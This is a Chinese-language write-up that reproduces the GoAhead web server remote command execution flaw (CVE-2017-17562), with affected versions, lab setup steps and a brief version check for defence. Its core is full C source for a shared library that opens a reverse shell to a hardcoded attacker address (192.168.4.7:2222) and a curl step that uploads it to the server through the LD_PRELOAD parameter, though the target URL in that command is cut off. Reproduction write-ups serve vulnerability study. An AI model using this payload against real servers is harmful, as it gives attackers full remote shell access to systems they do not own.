1. 程式人生 > >GoAhead Web伺服器遠端命令執行漏洞(CVE-2017-17562)漏洞復現

GoAhead Web伺服器遠端命令執行漏洞(CVE-2017-17562)漏洞復現

一、漏洞概述:

1、漏洞簡介:

GoAhead Web Server,它是一個開源(商業許可)、簡單、輕巧、功能強大、可以在多個平臺執行的嵌入式Web Server。

GoAhead Web Server是跨平臺的伺服器軟體,可以穩定地執行在Windows,Linux和Mac OS X作業系統之上。GoAhead Web Server是開放原始碼的,這意味著你可以隨意修改Web伺服器的功能。這款WEB伺服器非常小巧,它的WIN CE版本編譯後的大小還不到60k,它的輸出通常也是面向一些小螢幕裝置。在效能方面,使用一顆24MH z的68040處理器,它的響應速度為20次/秒,使用266MHz的Pentium處理器可以達到50次/秒的響應速度。

12月18日,GoAhead被爆出存在遠端命令執行漏洞。被賦予CVE編號。

該漏洞是利用伺服器初始化CGI時,使用了HTTP請求引數,使用特殊的引數名LD_PRELOAD劫持libc庫,進而實現遠端命令執行。目前GoAhead的版本已經更新到4.00版本。

2、漏洞影響版本

GoAhead Web Server < 3.6.5

不受影響版本:

GoAhead Web Server 3.6.5

GoAhead Web Server 4.0.0

二、漏洞復現

測試伺服器系統:kali;監聽系統:windows 10 ;攻擊系統:centos 6.5

1、 在搭建GoAhead 3.6.4漏洞環境

首先獲得存在漏洞版本的原始碼。

cd goahead

git checkout tags/v3.6.4 –q

編譯GoAhead及用來測試的CGI檔案

make

cd test

gcc ./cgitest.c -o cgi-bin/cgitest

執行GoAhead Web伺服器

sudo ../build/linux-x64-default/bin/goahead

2、獲得可以利用的payload

構造payload如下(goahead.c檔案):

#include <unistd.h>

#include <stdlib.h>

#include <sys/socket.h>

#include <netinet/in.h>

static void before_main(void) __attribute__((constructor));

static void before_main(void){

int sock = socket(AF_INET, SOCK_STREAM, 0);

struct sockaddr_in attacker_addr = {0};

attacker_addr.sin_family = AF_INET;

attacker_addr.sin_port = htons(2222);

attacker_addr.sin_addr.s_addr = inet_addr("192.168.4.7");

if(connect(sock, (struct sockaddr *)&attacker_addr,sizeof(attacker_addr))!=0)

  exit(0);

dup2(sock, 0);

dup2(sock, 1);

dup2(sock, 2);

execve("/bin/sh", 0, 0);

}

編譯成.so檔案

gcc -shared -fPIC ./payload.c -o payload.so

開啟埠監聽,

3、使用curl傳送以下payload到目標伺服器

curl -X POST --data-binary @payload.so

4、執行結果

當對伺服器進行攻擊時,監聽埠獲得伺服器的最高許可權,可以進行遠端命令執行:

三、漏洞影響

1、通過fofa搜尋結果顯示:

可以看出,goahead在我國以及全球範圍內,都有使用的物件,而且數量不在少數。

2、自我防護

2.1 受影響版本檢測

2.1.1 該漏洞影響linux伺服器上開啟動態連結可執行檔案的使用者。如果版本低於3.6.5,輸入

./goahead --version

進行手工檢測。

其他防護的方法,請檢視: